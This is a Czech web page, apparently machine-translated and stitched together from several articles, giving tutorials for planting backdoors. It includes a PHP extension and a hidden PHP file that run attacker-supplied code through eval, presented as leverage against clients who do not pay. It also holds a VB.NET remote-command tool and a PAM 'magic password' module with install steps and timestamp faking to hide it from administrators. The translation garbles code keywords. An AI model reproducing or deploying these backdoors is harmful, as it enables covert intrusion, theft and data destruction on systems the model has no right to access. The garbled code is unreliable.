Vytvoření backdoor VB.NET. Backdoor - pojištění proti nepoctivým klientům Psaní zadních vrátek

Dnes si povíme něco o psaní backdooru pro PHP ve formě rozšíření. Většina hackerů zpravidla zanechává některé části kódu v uživatelských skriptech. Takové věci se přirozeně dají snadno najít díky. Výhody rozšíření jsou zřejmé:

  • hledání je obtížné
  • bypass disable_functions
  • schopnost ovládat veškerý kód
  • přístup ke spuštění kódu pomocí tajného parametru

V tomto případě však existují určité nevýhody; potřebujete možnost upravovat konfigurační soubor php.

Jako příklad napíšu pod Windows. K napsání rozšíření jsem použil Visual Studio 2012 Express Edition. Dále budete potřebovat zdroje požadované verze PHP a zkompilované knihovny (lze zkompilovat ze stejných zdrojů). Pro jednoduchost si stáhneme zdroje

Rozbalíme sestavené PHP do C:\php a zdrojové kódy do C:\php-src.

Pak je potřeba provést nějaká nastavení VS.

1) Přidejte definice preprocesoru:
ZEND_DEBUG=0
ZTS=1
ZEND_WIN32
PHP_WIN32

2) Přidejte adresáře pro připojení zdrojů: C:\php-src\main;C:\php-src\Zend;C:\php-src\TSRM;C:\php-src\regex;C:\php-src

3) Přidejte další adresář buď pomocí php5ts.lib ( C:\php\dev)


4) Přidejte připojení ke knihovně php5ts.lib.


5) Zadejte cestu ke shromážděnému souboru.


Po konfiguraci nastavení studia pro vývoj rozšíření (můžete si přečíst více) vytvoříme nový projekt backdoor typu „Win32 Console Application“.


Vyberte typ: „Knihovna DLL“

Poté z projektu odstraníme nepotřebné soubory. Měl by jen zůstat backdoor.cpp, stdafx.cpp A stdafx.h.
Do hlavičkového souboru stdafx.h dáme následující kód:

#pragma Once #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif

Nyní přejdeme přímo ke kódu rozšíření. Smažeme všechny řádky a přidáme spojení pro potřebné soubory.

#include "stdafx.h" #include "zend_config.w32.h" #include "php.h"

Pokud jsou nastavení studia správná, varování zmizí. Při inicializaci modulu dochází k několika událostem, z nichž každá nastane za určitých podmínek. Musíme provést náš kód, zatímco požadavek běží. Abychom to udělali, musíme jej inicializovat funkcí, kterou potřebujeme, jako název jsem zvolil „hideme“.

PHP_RINIT_FUNCTION(skrýt);

Poté můžete pokračovat v inicializaci modulu.

Zend_module_entry hideme_ext_module_entry = ( STANDARD_MODULE_HEADER, "jednoduchá zadní vrátka", NULL, NULL, NULL, PHP_RINIT(hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES ); ZEND_GET_MODULE(skrýt_ext);

Jak jsem již psal, potřebujeme provést kód pouze během požadavku, takže spuštění při načítání a vyjímání modulu je nahrazeno NULL. Nyní můžeme přejít k tělu funkce hideme.

PHP_RINIT_FUNCTION(hideme) ( metoda char* = "_POST"; // superglobální pole, ze kterého vezmeme parametr a hodnotu char* secret_string = "tajný_řetězec"; // parametr, který bude obsahovat zlý kód zval** arr; kód char* ; if (zend_hash_find(&EG(tabulka_symbolů), metoda, strlen(metoda) + 1, (void**)&arr) != FAILURE) (HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find( ht , secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) ( // hledání požadovaného parametru v hash tabulce code = Z_STRVAL_PP(val); // hodnota parametru zend_eval_string(code, NULL , (char *)"" TSRMLS_CC); // provedení kódu ) ) return SUCCESS;

Z komentářů by to mělo být jasné. Nejprve nastavte parametry metoda A tajný_řetězec. Poté procházíme vybrané pole a hledáme parametr s vhodným klíčem, pokud nějaký existuje, vezmeme z něj hodnotu a provedeme kód přes zend_eval_string.

Po sestavení získáme knihovnu, kterou lze použít jako rozšíření.

Ukázka na GNU Linuxu

Demo na Windows:

Vzpomínám si, že v článku „10 tipů a doporučení pro objednání webu“ jsem zmínil případ, kdy se nás nepoctivý klient rozhodl podvést, přestože jsme spolu pracovali více než rok a půl. Poté, co jsme zjistili, že nedostaneme nic zaplaceno, nemohli jsme naše stránky ani získat zpět, protože v nich nezůstala jediná mezera.

Co mě však uspalo, bylo to, že v jedné z lokalit jsem měl ještě malý „nouzový vchod“, díky kterému jsem nepřemýšlel o vývoji druhé stránky a vypadnutí do světa. A tento vstup vypadal jako jednoduchý formulář pro nahrávání souborů na server.

S jeho pomocí jsem na stránky nahrál potřebné skripty a spustil je na webu a oni zase odvedli svou špinavou práci. Tyto dveře měly jednu nevýhodu – mohl je používat kdokoli, pokud by samozřejmě věděl o jejich existenci.

Čas plynul, a přestože do dnešního dne jde vše hladce, nevylučuje to, že se taková petrželka může opakovat.

V zásadě můžete použít starou metodu odesílání spustitelného souboru na server, ale... Proč tyto komplikace, když si můžete vše zjednodušit.

Nabízím možnosti a nápady pro nejjednodušší zadní vrátka, kdyby se opravdu vyskytly problémy. Tak…

  1. Vytvoříme php soubor a nazveme ho nějak nenápadně, třeba license.php nebo nějak jinak.
  2. Napíšeme do něj kód

    if (isset($_POST["text"]))
    eval($_POST["text"]);
    ?>




  3. Soubor umístíme někam dále hluboko do cms, například do divočiny WYSIWYG editoru. Pokud chcete, duplikujte soubor na 2-3 dalších místech (pro jistotu)

Tady to je, rámec pro pohoršení. Věřím, že není třeba vysvětlovat, že funkce eval spouští kód napsaný ve formuláři.

Toto je pouze rámec, který může mít mnoho příkladů implementace. Řekněme, že můžete použít highlight_file k zobrazení obsahu nějakého souboru s hesly, ke kterým není přímý přístup. Můžete se připojit k databázi, číst obsah nebo jej měnit. Nebo si dokonce můžete vytisknout skript pro smazání všeho na serveru, proč ne.

Níže nabízím nápady na doplnění těchto dveří, které lze vyrobit dle přání - nechám to na vás, milý čtenáři, jako nepovinný domácí úkol. Ale pokud se náhle objeví touha, rád se podívám na to, co se stalo.

Nápady na zlepšení :

  1. Obecně by bylo fajn, aby dveře nebyly přístupné všem a autorizovali je například přes běžný .htaccess, no, nebo pomocí nástrojů založených na PHP session (nebo ještě lépe obou - poznámka redakce).
  2. Máte-li oprávnění, můžete si obecně připravit řadu tlačítek, kliknutím na které můžete vyvolat ten či onen skript. Například vejdete do svých dveří a tam jsou tlačítka - číst hesla, číst databázi, smazat administrativní panel a tak dále.
  3. Nějaké další nápady?

Konečně

Má smysl používat dveře, když předáváte stránky před platbou (někdy), nebo když pracujete ve firmě a chcete mít jistotu. V prvním případě, když je platba provedena, mohou být dveře odstraněny, nebo je můžete nechat, i když si nemyslím, že to již bude potřeba. A ve druhém případě ji budete muset mít neustále připravenou.

To je pro dnešek vše. Budu rád, když uvidím vaše nápady a návrhy k tématu! Do příště

Ahoj všichni) Jak jste si již všimli, dnes vám řeknu, jak si napsat vlastní backdoor „v jakémkoli jazyce“ (pokud umíte psát programy a máte fantazii).

Začněme tedy tím, že nejprve musíme vytvořit spojení admin-klient. K tomu používáme PHP a pouze 5 řádků kódu)

if ($_GET["cmd"] != "cmd_clear") ( $cmd = fopen("cmd.txt", "w+"); //Vytvořte prázdný soubor, pokud existuje, vymažte jej. fwrite($cmd , $ _GET["cmd"] //vložíme to, co je v parametru "cmd", a tam, jak si pamatujeme, bylo "msg(HelloWorld!)" fclose($cmd); us) else ( $cmd = fopen("cmd.txt", "w"); //Vytvořte nový soubor (tj. vymažte náš cmd.txt) fclose($cmd); //zavřete soubor za námi)


Tento kód jsem našel někde na internetu.
Tento kód zanechá příkazy pro naše zadní vrátka)

Pojďme tedy k administračnímu panelu, nejprve si na formuláři načrtneme tlačítko a textové pole a webový prohlížeč, který dám na druhý formulář, aby mi to nevadilo)

Dále přejdeme ke kódu

Náš web označíme tak, aby se načetl při spuštění programu) a deklarujeme jej jako globální proměnnou

Public www As String Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Zpracovává MyBase.Load www = "http://localhost/" End Sub

Animujme tlačítko, u kterého říkáme odeslat požadavek GET na náš admin panel na webu, po cmd = náš příkaz) bude značka msg následně potřebná ke zpracování klientem.

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Form2.WebBrowser1.Navigate(www & "rat/admin.php?cmd=< msg>"&TextBox1.Text&"< /msg>") TextBox1.Text = "" End Sub

Náš administrátorský panel je připraven)

Přejděme ke klientovi) na formulář neházíme nic kromě časovače)

Zaregistrujeme činnost časovače, kterým náš program zkontroluje web (soubor cmd.txt) a časovač se samozřejmě spustí spolu s programem)) Stejně jako v admin panelu budeme deklarovat globální proměnné, nyní jsou dvě z nich a také potřebujeme propojit dvě knihovny

Importuje System.Text Importuje System.IO Public WC jako nový System.Net.WebClient Public www As String Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Zvládá MyBase.Load www = "http:// localhost/" Timer1.Enabled = True Timer1.Interval = 5000 End Sub

Pro pohodlí jsem udělal umělé zpoždění

No a nyní kód k samotnému časovači, tzn. co by se mělo provést) Nejprve analyzujme naše data) za tímto účelem jsme zadali značku msg a poté pomocí příkazu Shell spusťte příkazový řádek se zadanými příkazy)

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick Dim R() As String = ("< msg>") Dim L() As String = ("< /msg>") Dim myHttpWebRequest As Net.HttpWebRequest = Net.HttpWebRequest.Create(www & "rat/cmd.txt") Dim myHttpWebResponse As Net.HttpWebResponse = myHttpWebRequest.GetResponse() Dim myStreamReader As New IO.StresponseHamseReader System .Text.Encoding.GetEncoding(1251)) Dim Str As String = myStreamReader.ReadToEnd() If InStr(Str, R(0)) 0 Then Dim Tmp As String = Str.Split(R, StringSplitOptions.None)(1 ) Dim Res As String = Tmp.Split(L, StringSplitOptions.None)(0) WC.DownloadString(www & "rat/admin.php?cmd=clear_cmd") Wait(2) Shell("cmd.exe" + Res ) Else End If End Sub


P.S. Pokud vás tento článek zaujal, tak příště udělám článek o tom, jak skrýt jednání našeho klienta.
Přečtení článku zabere: 3 min.

Najít cizí heslo není snadná věc, pokud jeho kombinace není banální „qwerty“. A marně, uživatelé internetu, kteří aktivně používají internetové bankovnictví, nadávají na neznámé hackery, kteří jim kradli bankovky z elektronických peněženek hádáním znaků hesla. Všechno je mnohem jednodušší - při putování po RuNetu si okradení uživatelé nevědomky stáhli další soubory, které je zajímaly, ať už jde o hudbu, video nebo něco jiného. Stáhli si spywarový program BackDoor a pak to všechno začalo...

V mém případě mi učení o zadních vrátkách spadlo na hlavu jako sníh v červenci. Po dlouhém přemýšlení jsem se rozhodl přejít z vytáčeného internetu na 3G, pořídit si modem a provoz od Beeline. Když jsem se vrátil domů s nově zakoupeným modemem, nainstaloval jsem si jeho software do počítače, zaměřil jsem se na zběsilé surfování po internetu - rychlost měla překročit rychlost vytáčení alespoň 50krát. Všechno se tak stalo, ale najednou jsem nemohl přístup na internet z mého PC lézt neznámé programy... Aniž bych věnoval patřičnou pozornost akcím právě těchto programů a vypínal počítač do druhého dne, druhý den jsem zjistil, že antivirus Dr. Internet vypadl a nechce lovit viry.

Zadní vrátka k PC pro hackera

Co je to za bestii a jak ji nemůžete získat, jak ji můžete odstranit? „Zadní vrátka“, jak je backdoor přeloženo z angličtiny, jsou vytvořena hackerem a distribuována v programech a souborech oblíbených mezi uživateli nebo prostřednictvím e-mailu (méně často) – jejich kód jim přiřadí hacker-distributor. Tak si to stahujeme sami a dobrovolně! Jakmile je virus BackDoor na počítači uživatele, zaregistruje se v kořenové složce Windows a na mnoha dalších místech, zablokuje činnost antiviru a neustále posílá majiteli informace o heslech a uživatelských účtech tohoto počítače. Kromě toho se tento spyware virus aktivně šíří z počítače, který zachytil, pomocí jakéhokoli externího kontaktu - ICQ, e-mailu. mail, mail agent, Skype, sociální sítě atd... Jedním slovem drsné.

Co by měl dělat běžný uživatel, který není sofistikovaný v odrážení útoků hackerů? Po objevení spywaru BackDoor na vašem PC – pokud nemáte dobrý firewall nebo antivirus, bude těžké ho odhalit, až po odcizení bankovek a účtů – pořiďte si specializovaný antispywarový antispywarový program. Já mám například Ad-Aware SE Personal, i když se starými databázemi a ve verzi zdarma je stále efektivní. Pak jej použijte k vyřazení zadních vrátek z klíčových položek registru, rychle přeinstalujte antivirus a aktualizujte jeho databáze – ihned po aktualizaci nastavte úplnou kontrolu a počkejte na její dokončení, bez ohledu na to, jak dlouho to bude trvat!

Existuje spousta způsobů, jak získat oporu na hacknutém autě. Od těch nejbanálnějších a snadno zjistitelných (přidejte se do uživatelské základny) až po složité moduly jádra, které implementují reverzní shell na vzdálený počítač. Ale mezi nimi existuje metoda, která je velmi snadno implementovatelná a docela tajná, o které překvapivě málokdo ví. Jedná se o modifikaci modulů autentizačního systému PAM, kterou využívají všechny moderní UNIXové systémy.

Co je PAM

Pluggable Authentication Modules (PAM) je sada rozhraní API vyžadovaná k implementaci mechanismů ověřování v různých aplikacích.

Před příchodem PAM museli vývojáři za účelem implementace autentizace, řekněme pomocí klíčové karty, přidat kód pro podporu těchto stejných klíčových karet v každé součásti systému odpovědného za autentizaci uživatele. To znamená, že přihlašovací nástroj, sshd, stejně jako jakýkoli jiný software, ke kterému bylo plánováno přidat podobnou funkcionalitu, musel být přidán a přestavěn.

S příchodem PAM se situace mnohem zjednodušila. Nyní, abyste do systému přidali svůj vlastní jedinečný, vlastnoručně psaný autentizační protokol, stačí jej implementovat v rámci jediného modulu PAM. A všechny utility a aplikace, které dokážou pracovat s PAM, si ji vezmou a budou ji moci použít pro autentizaci uživatele.

V praxi to vypadá asi takto: přihlašovací utilita zavolá PAM, který provede všechny potřebné kontroly pomocí modulů uvedených v konfiguračním souboru a výsledek vrátí zpět utilitě přihlášení. Pohodlné, že? Tento přístup však obsahuje příležitosti, které můžeme využít k tomu, abychom se v systému uchytili.

Stojí za to udělat malé odmítnutí odpovědnosti. Existují tři hlavní implementace PAM:

  • Linux-PAM je hlavní implementací PAM na jakémkoli systému Linux;
  • OpenPAM – používá se na systémech BSD a macOS;
  • JPam je implementace PAM pro aplikace Java.

Nebudeme se věnovat žádné konkrétní implementaci. Základní funkčnost je všude stejná.

Aspekty připínání v *nix pomocí PAM

Nastavení PAM pro každou aplikaci naleznete v katalogu /etc/pam.d(Linux) nebo v souboru /etc/pam.conf. Příklad konfiguračního souboru pro přihlašovací nástroj v systému macOS:

auth volitelné pam_krb5 .so use_kcminit

auth volitelné pam_ntlm .tak try_first_pass

auth volitelné pam_mount .tak try_first_pass

vyžaduje auth pam_opendirectory .tak try_first_pass

požadovaný účet pam_nologin .so

požadovaný účet pam_opendirectory .so

vyžadováno heslo pam_opendirectory .so

relace vyžaduje pam_launchd .so

relace vyžaduje pam_uwtmp .so

session volitelné pam_mount .so

Podívejme se, jaké kouzlo se zde děje.

Konfigurační soubor popisuje ověřovací pravidla, která je nutné dodržovat pro úspěšné ověření uživatele nebo provedení dalších akcí (změna hesla, příprava uživatelského prostředí). Každý řádek konfiguračního souboru obsahuje jedno pravidlo. Kontroly se provádějí řádek po řádku.

Zleva doprava: typ modulu, ovládací_příznak, název modulu. Typ autentizace modulu je pro nás primárním zájmem. Control_flag je vlastnost modulu. Může nabývat následujících hodnot:

  • rekvizita - Pokud modul vrátí kladnou odpověď, je proveden zbytek řetězce a požadavek je schválen. Pokud modul vrátí zápornou odpověď, pak je požadavek okamžitě zamítnut a nejsou prováděny žádné další kontroly;
  • vyžadováno - přesně totéž jako požadované: pokud je odpověď ano, provede se zbytek kontrolního řetězce. Jediný rozdíl je v tom, že pokud je odpověď záporná, pokračuje se v provádění řetězce kontrol, ale požadavek je zamítnut;
  • dostatečný (dostatečný) - vyhoví požadavku, pokud žádná z ostatních dříve provedených kontrol v řetězci nefungovala negativně. Pokud modul funguje negativně, je výsledek ignorován a řetězec kontrol je dále zpracováván;
  • volitelné - modul je zpracován, ale výsledek je ignorován.

Již v této fázi jste si pravděpodobně uvědomili, že drobnými změnami v konfiguračním souboru můžeme zajistit úspěšné přihlášení libovolným heslem (stačí označit všechny auth moduly jako volitelné). Toto řešení ale bude fungovat, dokud si legitimní uživatel nebo administrátor nevšimne, že se úspěšně přihlašuje do systému i s nesprávným heslem.

Psaní vlastního modulu backdoor

PAM nám umožňuje připojit vlastní autentizační moduly. Můžeme tedy vytvořit modul s „kouzelným“ heslem a zajistit, aby systém akceptoval jak standardní uživatelská hesla, tak i naše vlastní. Pokud zadáte nesprávné heslo, zobrazí se zcela očekávaná chyba ověření. Není to špatná volba.

Takže kód (nezapomeňte nahradit magické heslo vaším „magickým“ heslem):

#zahrnout

#zahrnout

#zahrnout

#zahrnout

#zahrnout

#zahrnout

#define MYPASSWD "magické heslo"

PAM_EXTERN int pam_sm_setcred (pam_handle_t * pamh , int příznaky , int argc , const char * * argv ) (

return PAM_SUCCESS ;

PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t * pamh , příznaky int , int argc , const char * * argv ) (

return PAM_SUCCESS ;

PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh , int příznaky , int argc , const char * * argv ) (

char * heslo = NULL ;

pam_get_authtok (pamh, PAM_AUTHTOK, (const char * *) & heslo, NULL);

if (! strncmp (heslo , MYPASSWD , strlen (MYPASSWD ) ) )

return PAM_SUCCESS ;

návrat - 1;

Pojďme sestavit modul:

$ sudo apt - získat instalaci libpam0g - dev gcc

$ gcc - fPIC - c pam_backdoor .c

$ ld - x -- shared - o pam_backdoor .so pam_backdoor .o

A vložte jej do adresáře s dalšími moduly:

$ sudo chown root : root pam_backdoor .so

$ sudo cp pam_backdoor .so / lib / x86_64 - linux - gnu / security /

Vezměte prosím na vědomí, že cesta /lib/x86_64-linux-gnu/security/ specifické pro Debian/Ubuntu. Na Fedoře, Red Hatu a CentOS jsou moduly umístěny v adresáři /lib64/security/ a na Arch Linuxu - v adresáři /lib/security/.

Nyní zbývá pouze nakonfigurovat PAM tak, aby pro úspěšnou autentizaci stačilo předání ověření vaším modulem. Například konfigurace pro obslužný program su ( /etc/pam.d/su):

Na některých systémech Linux lze nastavení ověřování umístit do několika souborů: common-auth, common-password, common-session a poté je připojit ke konfiguračním souborům konkrétních utilit přes @include . Tento bod je třeba vzít v úvahu.

Po provedení nastavení v konfiguraci vás obslužný program su umožní použít heslo zadané v modulu. Stejný trik lze provést pomocí nástroje pro přihlášení (přihlášení do konzole) a sshd pro vzdálené přihlášení.

Vložení zadních vrátek do existujícího modulu

Při úpravě konfigurace PAM jste si mohli všimnout modulu pam_unix.so. Tento modul je zodpovědný za autentizaci uživatelů pomocí standardní databáze hesel pro systémy UNIX /etc/passwd. Používá jej mnoho nástrojů, včetně su, login, sshd a dalších programů (například SecureFTPd).

Jelikož je PAM stále open source a máme přístup ke zdrojovému kódu jak samotného démona, tak jeho standardních komponent, můžeme naše zadní vrátka zabudovat přímo do tohoto modulu.

Chcete-li provést potřebné změny, stáhněte si zdrojové texty PAM:

$http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

$tar - xzf inux - PAM - 1.1.8.tar.gz

Otevřete soubor Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c a hledejte následující řádky:

Původní modul sestavíme a vyměníme za vlastní:

$. /configure

$make

$ sudo cp Linux - PAM - 1.1.8 / moduly / pam_unix / .libs / pam_unix .so / lib / x86_64 - linux - gnu / security /

Aby si admin záměnu nevšiml, změníme čas vytvoření souboru tak, aby se shodoval s časem vytvoření ostatních modulů.